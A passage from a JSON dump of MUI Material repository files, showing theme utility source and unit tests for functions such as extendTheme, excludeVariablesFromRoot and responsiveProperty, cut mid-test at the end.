expected: 8 },\n      { args: { size: 8, grid: 1 }, expected: 8 },\n      { args: { size: 8, grid: 9 }, expected: 9 },\n      { args: { size: 8, grid: 7 }, expected: 7 },\n      { args: { size: 8, grid: 17 }, expected: 0 },\n    ];\n\n    tests.forEach((test) => {\n      const {\n        args: { size, grid },\n        expected,\n      } = test;\n\n      it(`aligns ${size} on grid ${grid} to ${expected}`, () => {\n        const sizeAligned = alignProperty({ size, grid });\n        expect(sizeAligned).to.equal(expected);\n      });\n    });\n  });\n\n  describe('fontGrid', () => {\n    const tests = [\n      { lineHeight: 1.3, pixels: 4, htmlFontSize: 16 },\n      { lineHeight: 1.6, pixels: 9, htmlFontSize: 15 },\n      { lineHeight: 1.0, pixels: 3, htmlFontSize: 14 },\n    ];\n\n    tests.forEach((test) => {\n      const { lineHeight, pixels, htmlFontSize } = test;\n\n      describe(`when ${lineHeight} lineHeight, ${pixels} pixels,\n      ${htmlFontSize} htmlFontSize`, () => {\n        const grid = fontGrid({ lineHeight, pixels, htmlFontSize });\n\n        it(`should return a font grid such that the relative lineHeight is aligned`, () => {\n          const absoluteLineHeight = grid * lineHeight * htmlFontSize;\n          expect(Math.round((absoluteLineHeight % pixels) * 100000) / 100000).to.equal(0);\n        });\n      });\n\n      it(`with ${lineHeight} lineHeight, ${pixels} pixels,\n      ${htmlFontSize} htmlFontSize, the font grid is such that\n      there is no smaller font aligning the lineHeight`, () => {\n        const grid = fontGrid({ lineHeight, pixels, htmlFontSize });\n        const absoluteLineHeight = grid * lineHeight * htmlFontSize;\n        expect(Math.floor(absoluteLineHeight / pixels)).to.equal(1);\n      });\n    });\n  });\n\n  describe('responsiveProperty', () => {\n    describe('when providing two breakpoints and pixel units', () => {\n      it('should respond with three styles in pixels', () => {\n        const result = responsiveProperty({\n          cssProperty: 'fontSize',\n          min: 15,\n          max: 20,\n          unit: 'px',\n          breakpoints: [300, 600],\n        });\n\n        expect(result).to.deep.equal({\n          fontSize: '15px',\n          '@media (min-width:300px)': {\n            fontSize: '17.5px',\n          },\n          '@media (min-width:600px)': {\n            fontSize: '20px',\n          },\n        });\n      });\n    });\n\n    describe('when providing one breakpoint and requesting rem units', () => {\n      it('should respond with two styles in rem', () => {\n        const result = responsiveProperty({\n          cssProperty: 'fontSize',\n          min: 0.875,\n          max: 1,\n          unit: 'rem',\n          breakpoints: [500],\n        });\n\n        expect(result).to.deep.equal({\n          fontSize: '0.875rem',\n          '@media (min-width:500px)': {\n            fontSize: '1rem',\n          },\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/defaultTheme.js",
    "content": "'use client';\nimport createTheme from './createTheme';\n\nconst defaultTheme = createTheme();\n\nexport default defaultTheme;\n"
  },
  {
    "path": "packages/mui-material/src/styles/excludeVariablesFromRoot.test.ts",
    "content": "import { expect } from 'chai';\nimport excludeVariablesFromRoot from './excludeVariablesFromRoot';\n\ndescribe('excludeVariablesFromRoot', () => {\n  it('should return true', () => {\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-0`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-1`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-2`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-3`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-4`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-5`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-6`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-7`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-8`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-9`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-10`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-11`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-12`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-13`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-14`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-15`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-16`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-17`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-18`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-19`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-20`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-21`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-22`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-23`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-overlays-24`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-palette-AppBar-darkBg`)).to.equal(true);\n    expect(excludeVariablesFromRoot('mui').includes(`--mui-palette-AppBar-darkColor`)).to.equal(\n      true,\n    );\n  });\n\n  it('should return true for custom prefix', () => {\n    expect(excludeVariablesFromRoot('').includes(`--overlays-1`)).to.equal(true);\n    expect(excludeVariablesFromRoot('').includes(`--palette-AppBar-darkBg`)).to.equal(true);\n    expect(excludeVariablesFromRoot('').includes(`--palette-AppBar-darkColor`)).to.equal(true);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/excludeVariablesFromRoot.ts",
    "content": "/**\n * @internal These variables should not appear in the :root stylesheet when the `defaultColorScheme=\"dark\"`\n */\nconst excludeVariablesFromRoot = (cssVarPrefix?: string) => [\n  ...[...Array(25)].map(\n    (_, index) => `--${cssVarPrefix ? `${cssVarPrefix}-` : ''}overlays-${index}`,\n  ),\n  `--${cssVarPrefix ? `${cssVarPrefix}-` : ''}palette-AppBar-darkBg`,\n  `--${cssVarPrefix ? `${cssVarPrefix}-` : ''}palette-AppBar-darkColor`,\n];\n\nexport default excludeVariablesFromRoot;\n"
  },
  {
    "path": "packages/mui-material/src/styles/experimental_extendTheme.js",
    "content": "import extendTheme from './createThemeWithVars';\n\nlet warnedOnce = false;\n\nexport default function deprecatedExtendTheme(...args) {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The `experimental_extendTheme` has been stabilized.',\n        '',\n        \"You should use `import { extendTheme } from '@mui/material/styles'`\",\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n\n  return extendTheme(...args);\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/extendTheme.spec.ts",
    "content": "import { extendTheme } from '@mui/material/styles';\n\nconst theme = extendTheme();\n\ntheme.getCssVar('palette-primary-main');\ntheme.getCssVar('palette-Alert-errorColor');\ntheme.getCssVar('opacity-inputPlaceholder');\ntheme.getCssVar('zIndex-appBar');\ntheme.getCssVar('shape-borderRadius');\ntheme.getCssVar('shadows-0');\ntheme.getCssVar('overlays-0');\n\n// @ts-expect-error\ntheme.getCssVar();\n// @ts-expect-error\ntheme.getCssVar('');\n// @ts-expect-error\ntheme.getCssVar('custom-color');\n// @ts-expect-error\ntheme.getCssVar('palette-primary-main', '');\n\n// dark only application\nextendTheme({ colorSchemes: { dark: true } });\n\n// built-in light and dark modes\nextendTheme({ colorSchemes: { light: true, dark: true } });\n"
  },
  {
    "path": "packages/mui-material/src/styles/extendTheme.test.js",
    "content": "import { expect } from 'chai';\nimport sinon from 'sinon';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Button from '@mui/material/Button';\nimport { CssVarsProvider, extendTheme } from '@mui/material/styles';\nimport { deepOrange, green } from '@mui/material/colors';\n\ndescribe('extendTheme', () => {\n  let originalMatchmedia;\n  const { render } = createRenderer();\n  const storage = {};\n\n  beforeEach(() => {\n    originalMatchmedia = window.matchMedia;\n    // Create mocks of localStorage getItem and setItem functions\n    Object.defineProperty(globalThis, 'localStorage', {\n      value: {\n        getItem: (key) => storage[key],\n        setItem: (key, value) => {\n          storage[key] = value;\n        },\n      },\n      configurable: true,\n    });\n    window.matchMedia = () => ({\n      // Keep mocking legacy methods because @mui/material v5 still uses them\n      addListener: () => {},\n      addEventListener: () => {},\n      removeListener: () => {},\n      removeEventListener: () => {},\n    });\n  });\n\n  afterEach(() => {\n    window.matchMedia = originalMatchmedia;\n  });\n\n  it('should have a light colorScheme by default', () => {\n    const theme = extendTheme();\n    expect(typeof extendTheme).to.equal('function');\n    expect(typeof theme.colorSchemes).to.equal('object');\n    expect(typeof theme.colorSchemes.light).to.equal('object');\n    expect(theme.colorSchemes.dark).to.equal(undefined);\n  });\n\n  it('should have a light as a default colorScheme regardless of key order', () => {\n    const theme = extendTheme({\n      colorSchemes: { dark: true, light: true },\n    });\n    expect(theme.defaultColorScheme).to.equal('light');\n  });\n\n  it('should have \"media\" colorSchemeSelector', () => {\n    const theme = extendTheme({ colorSchemeSelector: 'media' });\n    expect(theme.colorSchemeSelector).to.equal('media');\n  });\n\n  it('should have CSS color-scheme by default', () => {\n    const theme = extendTheme();\n    sinon.assert.match(theme.generateStyleSheets()[1], {\n      ':root': {\n        colorScheme: 'light',\n      },\n    });\n  });\n\n  it('should have CSS color-scheme: dark', () => {\n    const theme = extendTheme({ defaultColorScheme: 'dark' });\n    sinon.assert.match(theme.generateStyleSheets()[1], {\n      ':root': {\n        colorScheme: 'dark',\n      },\n    });\n  });\n\n  it('should throw error if the default color scheme is invalid', () => {\n    expect(() =>\n      extendTheme({ colorSchemes: { dark: false }, defaultColorScheme: 'dark' }),\n    ).to.throw('MUI: The `colorSchemes.dark` option is either missing or invalid.');\n  });\n\n  it('should throw error if the default color scheme is missing', () => {\n    expect(() => extendTheme({ defaultColorScheme: 'paper' })).to.throw(\n      'MUI: The `colorSchemes.paper` option is either missing or invalid.',\n    );\n  });\n\n  it('should not attach to `colorSchemes` if the provided scheme is invalid', () => {\n    const theme = extendTheme({ colorSchemes: { dark: null, light: true } });\n    expect(theme.colorSchemes.dark).to.equal(undefined);\n  });\n\n  it('disableCssColorScheme should remove CSS color-scheme', () => {\n    const theme = extendTheme({ disableCssColorScheme: true });\n    expect(theme.generateStyleSheets()[1][':root'].colorScheme).to.equal(undefined);\n\n    const theme2 = extendTheme({ defaultColorScheme: 'dark', disableCssColorScheme: true });\n    expect(theme2.generateStyleSheets()[1][':root'].colorScheme).to.equal(undefined);\n  });\n\n  it('should have the custom color schemes', () => {\n    const theme = extendTheme({\n      colorSchemes: {\n        light: {\n          palette: { primary: { main: deepOrange[500] }, secondary: { main: green.A400 } },\n        },\n      },\n    });\n    expect(theme.colorSchemes.light.palette.primary.main).to.equal(deepOrange[500]);\n    expect(theme.colorSchemes.light.palette.secondary.main).to.equal(green.A400);\n  });\n\n  it('should generate color channels', () => {\n    const theme = extendTheme();\n\n    expect(theme.colorSchemes.light.palette.background.defaultChannel).to.equal('255 255 255');\n\n    expect(theme.colorSchemes.light.palette.background.paperChannel).to.equal('255 255 255');\n\n    expect(theme.colorSchemes.light.palette.primary.mainChannel).to.equal('25 118 210');\n    expect(theme.colorSchemes.light.palette.primary.darkChannel).to.equal('21 101 192');\n    expect(theme.colorSchemes.light.palette.primary.lightChannel).to.equal('66 165 245');\n    expect(theme.colorSchemes.light.palette.primary.contrastTextChannel).to.equal('255 255 255');\n\n    expect(theme.colorSchemes.light.palette.secondary.mainChannel).to.equal('156 39 176');\n    expect(theme.colorSchemes.light.palette.secondary.darkChannel).to.equal('123 31 162');\n    expect(theme.colorSchemes.light.palette.secondary.lightChannel).to.equal('186 104 200');\n    expect(theme.colorSchemes.light.palette.secondary.contrastTextChannel).to.equal('255 255 255');\n\n    expect(theme.colorSchemes.light.palette.text.primaryChannel).to.equal('0 0 0');\n    expect(theme.colorSchemes.light.palette.text.secondaryChannel).to.equal('0 0 0');\n\n    expect(theme.colorSchemes.light.palette.dividerChannel).to.equal('0 0 0');\n\n    expect(theme.colorSchemes.light.palette.action.activeChannel).to.equal('0 0 0');\n\n    expect(theme.colorSchemes.light.palette.action.selectedChannel).to.equal('0 0 0');\n  });\n\n  it('should generate dark color channels', () => {\n    const theme = extendTheme({ defaultColorScheme: 'dark' });\n\n    expect(theme.colorSchemes.dark.palette.background.defaultChannel).to.equal('18 18 18');\n\n    expect(theme.colorSchemes.dark.palette.background.paperChannel).to.equal('18 18 18');\n\n    expect(theme.colorSchemes.dark.palette.primary.mainChannel).to.equal('144 202 249');\n    expect(theme.colorSchemes.dark.palette.primary.darkChannel).to.equal('66 165 245');\n    expect(theme.colorSchemes.dark.palette.primary.lightChannel).to.equal('227 242 253');\n    expect(theme.colorSchemes.dark.palette.primary.contrastTextChannel).to.equal('0 0 0');\n\n    expect(theme.colorSchemes.dark.palette.secondary.mainChannel).to.equal('206 147 216');\n    expect(theme.colorSchemes.dark.palette.secondary.darkChannel).to.equal('171 71 188');\n    expect(theme.colorSchemes.dark.palette.secondary.lightChannel).to.equal('243 229 245');\n    expect(theme.colorSchemes.dark.palette.secondary.contrastTextChannel).to.equal('0 0 0');\n\n    expect(theme.colorSchemes.dark.palette.text.primaryChannel).to.equal('255 255 255');\n    expect(theme.colorSchemes.dark.palette.text.secondaryChannel).to.equal('255 255 255');\n\n    expect(theme.colorSchemes.dark.palette.dividerChannel).to.equal('255 255 255');\n\n    expect(theme.colorSchemes.dark.palette.action.activeChannel).to.equal('255 255 255');\n\n    expect(theme.colorSchemes.dark.palette.action.selectedChannel).to.equal('255 255 255');\n  });\n\n  it('should generate common background, onBackground channels', () => {\n    const theme = extendTheme({\n      colorSchemes: {\n        light: {\n          palette: {\n            common: {\n              background: '#f9f9f9',\n            },\n          },\n        },\n      },\n    });\n    expect(theme.colorSchemes.light.palette.common.background).to.equal('#f9f9f9');\n    expect(theme.colorSchemes.light.palette.common.backgroundChannel).to.equal('249 249 249');\n    expect(theme.colorSchemes.light.palette.common.onBackground).to.equal('#000');\n    expect(theme.colorSchemes.light.palette.common.onBackgroundChannel).to.equal('0 0 0');\n  });\n\n  it('should generate dark common background, onBackground channels', () => {\n    const theme = extendTheme({\n      defaultColorScheme: 'dark',\n      colorSchemes: {\n        dark: {\n          palette: {\n            common: {\n              onBackground: '#f9f9f9', // this should not be overridden\n            },\n          },\n        },\n      },\n    });\n    expect(theme.colorSchemes.dark.palette.common.background).to.equal('#000');\n    expect(theme.colorSchemes.dark.palette.common.backgroundChannel).to.equal('0 0 0');\n    expect(theme.colorSchemes.dark.palette.common.onBackground).to.equal('#f9f9f9');\n    expect(theme.colorSchemes.dark.palette.common.onBackgroundChannel).to.equal('249 249 249');\n  });\n\n  it('should generate color channels for custom colors', () => {\n    const theme = extendTheme({\n      colorSchemes: {\n        light: {\n          palette: { primary: { main: deepOrange[500] }, secondary: { main: green.A400 } },\n        },\n      },\n    });\n    expect(theme.colorSchemes.light.palette.primary.mainChannel).to.equal('255 87 34');\n    expect(theme.colorSchemes.light.palette.secondary.mainChannel).to.equal('0 230 118');\n  });\n\n  describe('transitions', () => {\n    it('[`easing`]: should provide the default values', () => {\n      const theme = extendTheme();\n      expect(theme.transitions.easing.easeInOut).to.equal('cubic-bezier(0.4, 0, 0.2, 1)');\n      expect(theme.transitions.easing.easeOut).to.equal('cubic-bezier(0.0, 0, 0.2, 1)');\n      expect(theme.transitions.easing.easeIn).to.equal('cubic-bezier(0.4, 0, 1, 1)');\n      expect(theme.transitions.easing.sharp).to.equal('cubic-bezier(0.4, 0, 0.6, 1)');\n    });\n\n    it('[`duration`]: should provide the default values', () => {\n      const theme = extendTheme();\n      expect(theme.transitions.duration.shortest).to.equal(150);\n      expect(theme.transitions.duration.shorter).to.equal(200);\n      expect(theme.transitions.duration.short).to.equal(250);\n      expect(theme.transitions.duration.standard).to.equal(300);\n      expect(theme.transitions.duration.complex).to.equal(375);\n      expect(theme.transitions.duration.enteringScreen).to.equal(225);\n      expect(theme.transitions.duration.leavingScreen).to.equal(195);\n    });\n\n    it('[`easing`]: should provide the custom values', () => {\n      const theme = extendTheme({\n        transitions: {\n          easing: {\n            easeInOut: 'cubic-bezier(1, 1, 1, 1)',\n            easeOut: 'cubic-bezier(1, 1, 1, 1)',\n            easeIn: 'cubic-bezier(1, 1, 1, 1)',\n            sharp: 'cubic-bezier(1, 1, 1, 1)',\n          },\n        },\n      });\n      expect(theme.transitions.easing.easeInOut).to.equal('cubic-bezier(1, 1, 1, 1)');\n      expect(theme.transitions.easing.easeOut).to.equal('cubic-bezier(1, 1, 1, 1)');\n      expect(theme.transitions.easing.easeIn).to.equal('cubic-bezier(1, 1, 1, 1)');\n      expect(theme.transitions.easing.sharp).to.equal('cubic-bezier(1, 1, 1, 1)');\n    });\n\n    it('[`duration`]: should provide the custom values', () => {\n      const theme = extendTheme({\n        transitions: {\n          duration: {\n            shortest: 1,\n            shorter: 1,\n            short: 1,\n            standard: 1,\n            complex: 1,\n            enteringScreen: 1,\n            leavingScreen: 1,\n          },\n        },\n      });\n      expect(theme.transitions.duration.shortest).to.equal(1);\n      expect(theme.transitions.duration.shorter).to.equal(1);\n      expect(theme.transitions.duration.short).to.equal(1);\n      expect(theme.transitions.duration.standard).to.equal(1);\n      expect(theme.transitions.duration.complex).to.equal(1);\n      expect(theme.transitions.duration.enteringScreen).to.equal(1);\n      expect(theme.transitions.duration.leavingScreen).to.equal(1);\n    });\n\n    it('should allow providing a partial structure', () => {\n      const theme = extendTheme({ transitions: { duration: { shortest: 150 } } });\n      expect(theme.transitions.duration.shorter).not.to.equal(undefined);\n    });\n  });\n\n  describe('opacity', () => {\n    it('should provide the default opacities', () => {\n      const theme = extendTheme();\n      expect(theme.colorSchemes.light.opacity).to.deep.equal({\n        inputPlaceholder: 0.42,\n        inputUnderline: 0.42,\n        switchTrackDisabled: 0.12,\n        switchTrack: 0.38,\n      });\n    });\n\n    it('should provide the default dark opacities', () => {\n      const theme = extendTheme({ defaultColorScheme: 'dark' });\n      expect(theme.colorSchemes.dark.opacity).to.deep.equal({\n        inputPlaceholder: 0.5,\n        inputUnderline: 0.7,\n        switchTrackDisabled: 0.2,\n        switchTrack: 0.3,\n      });\n    });\n\n    it('should allow overriding of the default opacities', () => {\n      const theme = extendTheme({\n        colorSchemes: {\n          light: {\n            opacity: {\n              inputPlaceholder: 1,\n            },\n          },\n        },\n      });\n      expect(theme.colorSchemes.light.opacity).to.deep.include({\n        inputPlaceholder: 1,\n        inputUnderline: 0.42,\n      });\n    });\n\n    it('should allow overriding of the default dark opacities', () => {\n      const theme = extendTheme({\n        defaultColorScheme: 'dark',\n        colorSchemes: {\n          dark: {\n            opacity: {\n              inputPlaceholder: 0.2,\n            },\n          },\n        },\n      });\n      expect(theme.colorSchemes.dark.opacity).to.deep.include({\n        inputPlaceholder: 0.2,\n        inputUnderline: 0.7,\n      });\n    });\n  });\n\n  describe('overlays', () => {\n    it('should provide the default array', () => {\n      const theme = extendTheme();\n      expect(theme.colorSchemes.light.overlays).to.have.length(0);\n    });\n\n    it('should provide the default array for dark', () => {\n      const theme = extendTheme({ defaultColorScheme: 'dark' });\n      expect(theme.colorSchemes.dark.overlays).to.have.length(25);\n\n      expect(theme.colorSchemes.dark.overlays[0]).to.equal('none');\n      expect(theme.colorSchemes.dark.overlays[24]).to.equal(\n        'linear-gradient(rgba(255 255 255 / 0.165), rgba(255 255 255 / 0.165))',\n      );\n    });\n\n    it('should override the array as expected', () => {\n      const overlays = Array(25).fill('none');\n      const theme = extendTheme({\n        defaultColorScheme: 'dark',\n        colorSchemes: { dark: { overlays } },\n      });\n      expect(theme.colorSchemes.dark.overlays).to.equal(overlays);\n    });\n  });\n\n  describe('shadows', () => {\n    it('should provide the default array', () => {\n      const theme = extendTheme();\n      expect(theme.shadows[2]).to.equal(\n        '0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12)',\n      );\n    });\n\n    it('should override the array as expected', () => {\n      const shadows = [\n        'none',\n        1,\n        1,\n        1,\n        2,\n        3,\n        3,\n        4,\n        5,\n        5,\n        6,\n        6,\n        7,\n        7,\n        7,\n        8,\n        8,\n        8,\n        9,\n        9,\n        10,\n        10,\n        10,\n        11,\n        11,\n      ];\n      const theme = extendTheme({ shadows });\n      expect(theme.shadows).to.equal(shadows);\n    });\n  });\n\n  describe('components', () => {\n    it('should have the components as expected', () => {\n      const components = {\n        MuiDialog: {\n          defaultProps: {\n            fullScreen: true,\n            fullWidth: false,\n          },\n        },\n        MuiButtonBase: {\n          defaultProps: {\n            disableRipple: true,\n          },\n        },\n        MuiPopover: {\n          defaultProps: {\n            container: document.createElement('div'),\n          },\n        },\n      };\n      const theme = extendTheme({ components });\n      expect(theme.components).to.deep.equal(components);\n    });\n  });\n\n  describe('styleOverrides', () => {\n    it('should warn when trying to override an internal state the wrong way', () => {\n      let theme;\n\n      expect(() => {\n        theme = extendTheme({\n          components: { Button: { styleOverrides: { disabled: { color: 'blue' } } } },\n        });\n      }).not.toErrorDev();\n      expect(Object.keys(theme.components.Button.styleOverrides.disabled).length).to.equal(1);\n\n      expect(() => {\n        theme = extendTheme({\n          components: { MuiButton: { styleOverrides: { root: { color: 'blue' } } } },\n        });\n      }).not.toErrorDev();\n\n      expect(() => {\n        theme = extendTheme({\n          components: { MuiButton: { styleOverrides: { disabled: { color: 'blue' } } } },\n        });\n      }).toErrorDev(\n        'MUI: The `MuiButton` component increases the CSS specificity of the `disabled` internal state.',\n      );\n      expect(Object.keys(theme.components.MuiButton.styleOverrides.disabled).length).to.equal(0);\n    });\n  });\n\n  describe('spacing', () => {\n    it('produce spacing token by default', () => {\n      const theme = extendTheme();\n      expect(theme.vars.spacing).to.equal('var(--mui-spacing, 8px)');\n      expect(theme.spacing(2)).to.equal('calc(2 * var(--mui-spacing, 8px))');\n    });\n\n    it('turn number to pixel', () => {\n      const theme = extendTheme({ spacing: 4 });\n      expect(theme.vars.spacing).to.equal('var(--mui-spacing, 4px)');\n      expect(theme.spacing(2)).to.equal('calc(2 * var(--mui-spacing, 4px))');\n    });\n\n    it('can be customized as a string', () => {\n      const theme = extendTheme({ spacing: '0.5rem' });\n      expect(theme.vars.spacing).to.equal('var(--mui-spacing, 0.5rem)');\n      expect(theme.spacing(2)).to.equal('calc(2 * var(--mui-spacing, 0.5rem))');\n    });\n\n    it('uses the provided value if it is a string', () => {\n      const theme = extendTheme({ spacing: '0.5rem' });\n      expect(theme.spacing('1rem')).to.equal('1rem');\n    });\n\n    it('can be customized as an array', () => {\n      const theme = extendTheme({ spacing: [0, 1, 2, 4, 8, 16, 32] });\n      expect(theme.vars.spacing).to.deep.equal([\n        'var(--mui-spacing-0, 0px)',\n        'var(--mui-spacing-1, 1px)',\n        'var(--mui-spacing-2, 2px)',\n        'var(--mui-spacing-3, 4px)',\n        'var(--mui-spacing-4, 8px)',\n        'var(--mui-spacing-5, 16px)',\n        'var(--mui-spacing-6, 32px)',\n      ]);\n      expect(theme.spacing(2)).to.equal('var(--mui-spacing-2, 2px)');\n    });\n\n    it('can be customized as a function', () => {\n      const theme = extendTheme({ spacing: (factor) => `${0.25 * factor}rem` });\n      expect('spacing' in theme.vars).to.equal(false);\n      expect(theme.spacing(2)).to.equal('0.5rem');\n    });\n\n    it('a custom function should not be altered', () => {\n      const theme = extendTheme({\n        spacing: (val) => (val === 'xs' ? '100px' : val),\n      });\n      expect('spacing' in theme.vars).to.equal(false);\n      expect(theme.spacing('xs')).to.equal('100px');\n    });\n  });\n\n  describe('typography', () => {\n    it('produce typography token by default', () => {\n      const theme = extendTheme();\n      expect(Object.keys(theme.vars.font)).to.deep.equal([\n        'h1',\n        'h2',\n        'h3',\n        'h4',\n        'h5',\n        'h6',\n        'subtitle1',\n        'subtitle2',\n        'body1',\n        'body2',\n        'button',\n        'caption',\n        'overline',\n        'inherit',\n      ]);\n    });\n\n    it('access font vars', () => {\n      const theme = extendTheme();\n      expect(\n        theme.unstable_sx({\n          font: 'h1',\n        }),\n      ).to.deep.equal({\n        font: 'var(--mui-font-h1, 300 6rem/1.167 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif)',\n      });\n    });\n\n    it('use provided value if no font', () => {\n      const theme = extendTheme();\n      expect(\n        theme.unstable_sx({\n          font: 'var(--custom-font)',\n        }),\n      ).to.deep.equal({\n        font: 'var(--custom-font)',\n      });\n    });\n  });\n\n  describe('container queries', () => {\n    it('should generate container queries', () => {\n      const theme = extendTheme();\n      expect(theme.containerQueries('sidebar').up('sm')).to.equal(\n        '@container sidebar (min-width:600px)',\n      );\n      expect(theme.containerQueries.up(300)).to.equal('@container (min-width:300px)');\n    });\n  });\n\n  it('shallow merges multiple arguments', () => {\n    const theme = extendTheme({ foo: 'I am foo' }, { bar: 'I am bar' });\n    expect(theme.foo).to.equal('I am foo');\n    expect(theme.bar).to.equal('I am bar');\n  });\n\n  it('deep merges multiple arguments', () => {\n    const theme = extendTheme({ custom: { foo: 'I am foo' } }, { custom: { bar: 'I am bar' } });\n    expect(theme.custom.foo).to.equal('I am foo');\n    expect(theme.custom.bar).to.equal('I am bar');\n  });\n\n  it('allows callbacks using theme in variants', () => {\n    const theme = extendTheme({\n      typography: {\n        fontFamily: 'cursive',\n      },\n      components: {\n        MuiButton: {\n          variants: [\n            {\n              props: {}, // match any props combination\n              style: ({ theme: t }) => {\n                return {\n                  fontFamily: t.typography.fontFamily,\n                };\n              },\n            },\n          ],\n        },\n      },\n    });\n\n    const { container } = render(\n      <CssVarsProvider theme={theme}>\n        <Button />\n      </CssVarsProvider>,\n    );\n    expect(container.firstChild).toHaveComputedStyle({ fontFamily: 'cursive' });\n  });\n\n  describe('css var prefix', () => {\n    it('has mui as default css var prefix', () => {\n      const theme = extendTheme();\n      expect(theme.cssVarPrefix).to.equal('mui');\n    });\n\n    it('custom css var prefix', () => {\n      const theme = extendTheme({ cssVarPrefix: 'foo' });\n      expect(theme.cssVarPrefix).to.equal('foo');\n    });\n  });\n\n  describe('warnings', () => {\n    it('dependent token: should warn if the value cannot be parsed by color manipulators', () => {\n      expect(() =>\n        extendTheme({\n          colorSchemes: {\n            light: {\n              palette: {\n                divider: 'green',\n              },\n            },\n          },\n        }),\n      ).toWarnDev(\n        \"MUI: Can't create `palette.dividerChannel` because `palette.divider` is not one of these formats: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color().\" +\n          '\\n' +\n          'To suppress this warning, you need to explicitly provide the `palette.dividerChannel` as a string (in rgb format, for example \"12 12 12\") or undefined if you want to remove the channel token.',\n      );\n    });\n\n    it('should not warn if channel token is provided', () => {\n      expect(() =>\n        extendTheme({\n          colorSchemes: {\n            light: {\n              palette: {\n                dividerChannel: '12 12 12',\n              },\n            },\n          },\n        }),\n      ).not.toWarnDev();\n      expect(() =>\n        extendTheme({\n          colorSchemes: {\n            light: {\n              palette: {\n                dividerChannel: undefined,\n              },\n            },\n          },\n        }),\n      ).not.toWarnDev();\n    });\n\n    it('independent token: should skip warning', () => {\n      expect(() =>\n        extendTheme({\n          colorSchemes: {\n            light: {\n              palette: {\n                Alert: {\n                  errorColor: 'green',\n                },\n              },\n            },\n          },\n        }),\n      ).not.to.throw();\n    });\n\n    it('custom palette should not throw errors', () => {\n      expect(() =>\n        extendTheme({\n          colorSchemes: {\n            light: {\n              palette: {\n                gradient: {\n                  primary: 'linear-gradient(#000, transparent)',\n                },\n              },\n            },\n          },\n        }),\n      ).not.to.throw();\n    });\n  });\n\n  it('should have the vars object', () => {\n    const theme = extendTheme();\n    const keys = [\n      // MD2 specific tokens\n      'palette',\n      'shadows',\n      'zIndex',\n      'opacity',\n      'overlays',\n      'shape',\n    ];\n\n    Object.keys(keys).forEach((key) => {\n      expect(theme[key]).to.deep.equal(theme.vars[key]);\n    });\n  });\n\n  describe('dark color scheme only', () => {\n    it('should use dark as default color scheme', () => {\n      expect(extendTheme({ colorSchemes: { dark: true } }).defaultColorScheme).to.deep.equal(\n        'dark',\n      );\n    });\n\n    it('should not have colorSchemeSelector', () => {\n      expect(extendTheme({ colorSchemes: { dark: true } }).colorSchemeSelector).to.deep.equal(\n        undefined,\n      );\n    });\n\n    it('should have dark palette and not light color scheme', () => {\n      const theme = extendTheme({ colorSchemes: { dark: true } });\n      expect(theme.colorSchemes.dark.palette.text.primary).to.equal('#fff');\n      expect(theme.colorSchemes.light).to.equal(undefined);\n    });\n  });\n\n  describe('light and dark color schemes', () => {\n    it('should use prefers-color-scheme (`media`) by default', () => {\n      const theme = extendTheme({ colorSchemes: { light: true, dark: true } });\n      const sheets = theme.generateStyleSheets();\n      sinon.assert.match(sheets, [\n        {\n          ':root': sheets[0][':root'], // non-colors related variables\n        },\n        {\n          ':root': sheets[1][':root'], // light palette\n        },\n        {\n          '@media (prefers-color-scheme: dark)': {\n            ':root': sheets[2]['@media (prefers-color-scheme: dark)'][':root'], // dark palette\n          },\n        },\n      ]);\n    });\n\n    it('[media] should use prefers-color-scheme for styling', () => {\n      const theme = extendTheme({ colorSchemes: { light: true, dark: true } });\n\n      expect(theme.getColorSchemeSelector('light')).to.equal(\n        '@media (prefers-color-scheme: light)',\n      );\n      expect(theme.getColorSchemeSelector('dark')).to.equal('@media (prefers-color-scheme: dark)');\n    });\n\n    it('[media] should use prefers-color-scheme with dark as default', () => {\n      const theme = extendTheme({\n        colorSchemes: { light: true, dark: true },\n        defaultColorScheme: 'dark',\n      